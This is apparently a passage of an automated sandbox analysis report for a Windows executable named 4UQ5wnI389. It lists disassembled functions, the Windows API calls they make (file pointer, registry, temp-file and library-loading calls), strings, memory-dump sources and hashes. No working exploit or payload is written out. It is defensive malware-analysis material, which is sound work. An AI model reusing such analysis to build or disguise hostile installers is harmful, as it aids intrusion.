MultiByteToWideChar.KERNEL32(?,00000008,?,?,?,00000001), ref: 004026F1
SetFilePointer.KERNELBASE(?,?,?,00000001,?,00000008,?,?,?,00000001), ref: 00402714
MultiByteToWideChar.KERNEL32(?,00000008,?,00000000,?,00000001,?,00000001,?,00000008,?,?,?,00000001), ref: 0040272A

Part of subcall function 00405FBF: SetFilePointer.KERNEL32(?,00000000,00000000,00000001), ref: 00405FD5

SetFilePointer.KERNEL32(?,?,?,00000001,?,?,00000002), ref: 004027D6

Strings

9, xrefs: 00402699

Memory Dump Source

Source File: 00000000.00000002.1938953238.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1938934541.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938972156.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1939072407.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4UQ5wnI389.jbxd

Similarity

API ID: File$Pointer$ByteCharMultiWide$Read
String ID: 9
API String ID: 163830602-2366072709
Opcode ID: cadc99d36448674c458fec809f66667da68abd58cfb7d9264b13fa75ded684dc
Instruction ID: add249696b334c0fceafe0529c612de3b1c59f5eaafd60b3ba6c21ea99dd66a9
Opcode Fuzzy Hash: cadc99d36448674c458fec809f66667da68abd58cfb7d9264b13fa75ded684dc
Instruction Fuzzy Hash: FD510A74D10219AEDF21DF95DA88AAEB779FF04304F50443BE901B72D0D7B89982CB59

Function 00406752 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 36
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemDirectoryW.KERNEL32(?,00000104), ref: 00406769
wsprintfW.USER32 ref: 004067A4
LoadLibraryExW.KERNEL32(?,00000000,00000008), ref: 004067B8

Strings

UXTHEME, xrefs: 0040675B
%s%S.dll, xrefs: 0040679E
\, xrefs: 0040677A

Memory Dump Source

Source File: 00000000.00000002.1938953238.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1938934541.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938972156.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1939072407.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4UQ5wnI389.jbxd

Similarity

API ID: DirectoryLibraryLoadSystemwsprintf
String ID: %s%S.dll$UXTHEME$\
API String ID: 2200240437-1946221925
Opcode ID: 40aa1e09304642b089aa1993992f232c43871fa513f82abce0c0f0efb2bd037b
Instruction ID: 07f60acf873a648e61080255fd3e200204736070213a9ab7c1209ab7057fe03e
Opcode Fuzzy Hash: 40aa1e09304642b089aa1993992f232c43871fa513f82abce0c0f0efb2bd037b
Instruction Fuzzy Hash: 27F0FC70540219AECB10AB68ED0DFAB366CA700304F10447AA64AF20D1EB789A24C798

Function 70141777 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 120
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 70141B5F: GlobalFree.KERNEL32(?), ref: 70141DB2
Part of subcall function 70141B5F: GlobalFree.KERNEL32(?), ref: 70141DB7
Part of subcall function 70141B5F: GlobalFree.KERNEL32(?), ref: 70141DBC

GlobalFree.KERNEL32(00000000), ref: 70141825
FreeLibrary.KERNEL32(?), ref: 701418AB
GlobalFree.KERNEL32(00000000), ref: 701418D0

Part of subcall function 70142352: GlobalAlloc.KERNEL32(00000040,?), ref: 70142383

Part of subcall function 70142724: GlobalAlloc.KERNEL32(00000040,00000000,?,?,00000000,?,?,?,701417F6,00000000), ref: 701427F4

Part of subcall function 701415C6: wsprintfW.USER32 ref: 701415F4

Strings

, xrefs: 701418B1

Memory Dump Source

Source File: 00000000.00000002.1972315766.0000000070141000.00000020.00000001.01000000.00000004.sdmp, Offset: 70140000, based on PE: true

Associated: 00000000.00000002.1972298784.0000000070140000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1972332397.0000000070144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1972350477.0000000070146000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70140000_4UQ5wnI389.jbxd

Similarity

API ID: Global$Free$Alloc$Librarywsprintf
String ID:
API String ID: 3962662361-3916222277
Opcode ID: 3dade1d598d4e2f4d4871086996d9b6ce8588f8020beb22855568e4145250f5d
Instruction ID: 2e5a84bfb52dac6e0d2b8fd9d51a11c52135cb47225cf3956eb260f1130e6277
Opcode Fuzzy Hash: 3dade1d598d4e2f4d4871086996d9b6ce8588f8020beb22855568e4145250f5d
Instruction Fuzzy Hash: CF41A0725002069ACB119F60DC85B8D37A8BF05311F766079FD0A9E6B6DBB89484C760

Function 004023E4 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64
registrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenW.KERNEL32(C:\Users\user\AppData\Local\Temp\nsw4EC8.tmp,00000023,00000011,00000002), ref: 0040242F
RegSetValueExW.KERNELBASE(?,?,?,?,C:\Users\user\AppData\Local\Temp\nsw4EC8.tmp,00000000,00000011,00000002), ref: 0040246F
RegCloseKey.KERNELBASE(?,?,?,C:\Users\user\AppData\Local\Temp\nsw4EC8.tmp,00000000,00000011,00000002), ref: 00402557

Strings

C:\Users\user\AppData\Local\Temp\nsw4EC8.tmp, xrefs: 00402420, 0040242E, 00402445, 00402459, 00402464

Memory Dump Source

Source File: 00000000.00000002.1938953238.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1938934541.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938972156.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1939072407.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4UQ5wnI389.jbxd

Similarity

API ID: CloseValuelstrlen
String ID: C:\Users\user\AppData\Local\Temp\nsw4EC8.tmp
API String ID: 2655323295-652375980
Opcode ID: 73e16f22230fec4bb41596bf14ea3730359cb40e1001d342c6dd81160fbf5f59
Instruction ID: 2320c74fc41ffeb716861e397aa06506e2c1d49fdd3331f7b5a779c93e7e4390
Opcode Fuzzy Hash: 73e16f22230fec4bb41596bf14ea3730359cb40e1001d342c6dd81160fbf5f59
Instruction Fuzzy Hash: C4118471E00104BEEB10AFA5DE89EAEBB74EB44754F11803BF504B71D1DBB89D419B68

Function 00405F0D Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 37
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00405F2B
GetTempFileNameW.KERNELBASE(?,?,00000000,?,?,?,00435000,004034A3,1033,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,75573420,004036EF), ref: 00405F46

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405F12, 00405F16
nsa, xrefs: 00405F1A

Memory Dump Source

Source File: 00000000.00000002.1938953238.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1938934541.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938972156.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1939072407.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4UQ5wnI389.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: C:\Users\user\AppData\Local\Temp\$nsa
API String ID: 1716503409-1331003597
Opcode ID: 0c62091ad8b50aef506abc269e58e4a43f33256201187c1c154fac6de66d8f01
Instruction ID: 076564571966e4dc9ef4834731be4d502634ae0aeddccfca5b4533d1bab5a213
Opcode Fuzzy Hash: 0c62091ad8b50aef506abc269e58e4a43f33256201187c1c154fac6de66d8f01
Instruction Fuzzy Hash: 14F09076601204FFEB009F59ED05E9BB7A8EB95750F10803AEE00F7250E6B49A548B68

Function 00402D44 Relevance: 6.1, APIs: 4, Instructions: 63
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegEnumKeyW.ADVAPI32(?,00000000,?,00000105), ref: 00402DA9
RegCloseKey.ADVAPI32(?,?,?), ref: 00402DB2
RegCloseKey.ADVAPI32(?,?,?), ref: 00402DD3

Memory Dump Source

Source File: 00000000.00000002.1938953238.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1938934541.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938972156.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1939072407.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4UQ5wnI389.jbxd

Similarity

API ID: Close$Enum
String ID:
API String ID: 464197530-0
Opcode ID: 1fd681a58c600dee98d7f7e5161f1cc79c94fe5fc9469311f060f0f5731105c3
Instruction ID: 3410daaf41eb2a8de7896e1fb7aa518538b3e031ab7f3cb45a1fbd23233d04dd
Opcode Fuzzy Hash: 1fd681a58c600dee98d7f7e5161f1cc79c94fe5fc9469311f060f0f5731105c3
Instruction Fuzzy Hash: CE116A32500108FBDF12AB90CE09FEE7B7DAF44350F100076B905B61E0E7B59E21AB58

Function 0040591F Relevance: 6.0, APIs: 4, Instructions: 39
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateDirectoryW.KERNELBASE(?,?,00000000), ref: 00405962
GetLastError.KERNEL32 ref: 00405976
SetFileSecurityW.ADVAPI32(?,80000007,00000001), ref: 0040598B
GetLastError.KERNEL32 ref: 00405995

Memory Dump Source

Source File: 00000000.00000002.1938953238.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1938934541.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938972156.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1939072407.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4UQ5wnI389.jbxd

Similarity

API ID: ErrorLast$CreateDirectoryFileSecurity
String ID:
API String ID: 3449924974-0
Opcode ID: c15d26eb0fd7dc0754592b558b3576eabd9f17effa54cf70e09af9e442894ad1
Instruction ID: ca5323325ecea66cc3de0aafa4d6cbc44a00468c8660a14113972894dcb98988
Opcode Fuzzy Hash: c15d26eb0fd7dc0754592b558b3576eabd9f17effa54cf70e09af9e442894ad1
Instruction Fuzzy Hash: 970108B1C10219DADF009FA5C944BEFBFB4EB14314F00403AE544B6290DB789608CFA9

Function 004053C4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 004053F3
CallWindowProcW.USER32(?,?,?,?), ref: 00405444

Part of subcall function 004043AB: SendMessageW.USER32(?,00000000,00000000,00000000), ref: 004043BD

Strings

, xrefs: 004053D4

Memory Dump Source

Source File: 00000000.00000002.1938953238.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1938934541.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938972156.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1939072407.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4UQ5wnI389.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID:
API String ID: 3748168415-3916222277
Opcode ID: 36caebe1fe8aa1eff7ff321662443c514d6827d4f2801b7b393fcb4226acda68
Instruction ID: 343f6187318c33bb175646012d6cb398530476c6c15fe8dd96994d534b9a6b17
Opcode Fuzzy Hash: 36caebe1fe8aa1eff7ff321662443c514d6827d4f2801b7b393fcb4226acda68
Instruction Fuzzy Hash: CC0171B1200609ABDF305F11DD84B9B3666EBD4356F508037FA00761E1C77A8DD29A6E

Function 004062B6 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44registryCOMMON

Download Yara Rule

APIs

RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,?,00000800,00000002,00422708,00000000,?,?,Call,?,?,0040652A,80000002), ref: 004062FC
RegCloseKey.ADVAPI32(?,?,0040652A,80000002,Software\Microsoft\Windows\CurrentVersion,Call,Call,Call,00000000,00422708), ref: 00406307

Strings

Call, xrefs: 004062BD

Memory Dump Source

Source File: 00000000.00000002.1938953238.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1938934541.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938972156.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1939072407.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4UQ5wnI389.jbxd

Similarity

API ID: CloseQueryValue
String ID: Call
API String ID: 3356406503-1824292864
Opcode ID: c86c14991d827863ed80974af0b6eb11eee99485bcf286d774b2a77da772c934
Instruction ID: efe3e51cb47fe95fa6bbb83f3cb46ebf457b8c4b35673ac5825ceff03b23bf8b
Opcode Fuzzy Hash: c86c14991d827863ed80974af0b6eb11eee99485bcf286d774b2a77da772c934
Instruction Fuzzy Hash: B301717250020AEBDF218F55CD09EDB3FA9EF55354F114039FD15A2150E778D964CBA4

Function 00406F27 Relevance: 5.2, APIs: 4, Instructions: 236COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1938953238.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1938934541.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938972156.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1939072407.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4UQ5wnI389.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: db40346bc9fd20083a39152eff8b5ac78f5cdc0ebc59631a5c9ad52422038ace
Instruction ID: 2bd06e12bed6e0bcd81d630d0cd78bd49004ac77cb8b5ebb757de7108a839e92
Opcode Fuzzy Hash: db40346bc9fd20083a39152eff8b5ac78f5cdc0ebc59631a5c9ad52422038ace
Instruction Fuzzy Hash: 1DA14471E04228CBDF28CFA8C8446ADBBB1FF44305F14806ED856BB281D7786A86DF45

Function 00407128 Relevance: 5.2, APIs: 4, Instructions: 208COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1938953238.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1938934541.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938972156.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1939072407.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4UQ5wnI389.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9d32937a43efcd2dea5d1fc698e3fcc0023127280f8acdc5c544d8c7d1790a46
Instruction ID: f1da02a2f8b93330a3d469e31e6e9edf047fa596270f1f1d86c95cc791e20b04
Opcode Fuzzy Hash: 9d32937a43efcd2dea5d1fc698e3fcc0023127280f8acdc5c544d8c7d1790a46
Instruction Fuzzy Hash: AA910271E04228CBEF28CF98C8447ADBBB1FB45305F14816AD856BB291C778A986DF45

Function 00406E3E Relevance: 5.2, APIs: 4, Instructions: 205COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1938953238.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1938934541.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938972156.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1939072407.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4UQ5wnI389.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 67d6f810e310069c411d265ffcddf6abea8090fb20e8d2db1667143610fe5bd5
Instruction ID: fb1d02f26201205f5bfcbd3029eb7cfad7cca69a3f8c46de7b35964bdd0c3f7d
Opcode Fuzzy Hash: 67d6f810e310069c411d265ffcddf6abea8090fb20e8d2db1667143610fe5bd5
Instruction Fuzzy Hash: 18814571E04228DFDF24CFA8C844BADBBB1FB45305F24816AD856BB291C7389986DF45

Function 00406943 Relevance: 5.2, APIs: 4, Instructions: 198COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1938953238.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1938934541.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938972156.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1939072407.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4UQ5wnI389.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5328a0701a0a32b67c374057837e60552721ea1a6811a44abe83e42546375677
Instruction ID: 55fc176551b00f8465723d30588461dcf2fc1d3195b414c524ee7a2fcbdbe87b
Opcode Fuzzy Hash: 5328a0701a0a32b67c374057837e60552721ea1a6811a44abe83e42546375677
Instruction Fuzzy Hash: 39815971E04228DBEF24CFA8C844BADBBB1FB45305F14816AD856BB2C1C7786986DF45

Function 00406D91 Relevance: 5.2, APIs: 4, Instructions: 180COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1938953238.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1938934541.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938972156.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1939072407.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4UQ5wnI389.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a445a859154d96951751bba7131c1a69e0b73c0895ac35a4e96b2d7ee743491b
Instruction ID: 7645ab34ef40ba223d211dbe726f8302725d3f31b3e808d93cc70016d3e0d248
Opcode Fuzzy Hash: a445a859154d96951751bba7131c1a69e0b73c0895ac35a4e96b2d7ee743491b
Instruction Fuzzy Hash: 10711471E04228DBDF24CF98C8447ADBBB1FF49305F15806AD856BB281C7389A86DF45

Function 00406EAF Relevance: 5.2, APIs: 4, Instructions: 170COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1938953238.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1938934541.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938972156.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1939072407.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4UQ5wnI389.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cd7d90a79d0f10410712768d5bba8e0713d9e8f593557aa9bf16db43d4616d0f
Instruction ID: a4e19b7408f2815589132e7e2b866ae2b9c8caa40868d81b8a4623295251dea3
Opcode Fuzzy Hash: cd7d90a79d0f10410712768d5bba8e0713d9e8f593557aa9bf16db43d4616d0f
Instruction Fuzzy Hash: 0D712571E04218DBEF28CF98C844BADBBB1FF45305F15806AD856BB281C7389986DF45

Function 00406DFB Relevance: 5.2, APIs: 4, Instructions: 168COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1938953238.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1938934541.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938972156.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1939072407.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4UQ5wnI389.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 08b8d2b65a0c1c30b5e83c7ea62cdb0658c0fab8542c410d93f606ef21acc8e7
Instruction ID: 979076adb26e5f1e3e7a9458f232081f51f9a0722543042d1d726f4d31452a21
Opcode Fuzzy Hash: 08b8d2b65a0c1c30b5e83c7ea62cdb0658c0fab8542c410d93f606ef21acc8e7
Instruction Fuzzy Hash: 50714871E04228DBEF28CF98C8447ADBBB1FF45305F15806AD856BB281C7386A46DF45

Function 004032DE Relevance: 4.6, APIs: 3, Instructions: 101COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 004032F2

Part of subcall function 0040345D: SetFilePointer.KERNELBASE(00000000,00000000,00000000,0040315B,?), ref: 0040346B

SetFilePointer.KERNELBASE(00000000,00000000,?,00000000,00403208,00000004,00000000,00000000,?,?,00403182,000000FF,00000000,00000000,0040A230,?), ref: 00403325
SetFilePointer.KERNELBASE(00166248,00000000,00000000,00414ED0,00004000,?,00000000,00403208,00000004,00000000,00000000,?,?,00403182,000000FF,00000000), ref: 00403420

Memory Dump Source

Source File: 00000000.00000002.1938953238.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1938934541.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938972156.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1939072407.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4UQ5wnI389.jbxd

Similarity

API ID: FilePointer$CountTick
String ID:
API String ID: 1092082344-0
Opcode ID: 46bf3b49fb3124b20b26849d3f96ebab8958347a080c85236d637af58840fa95
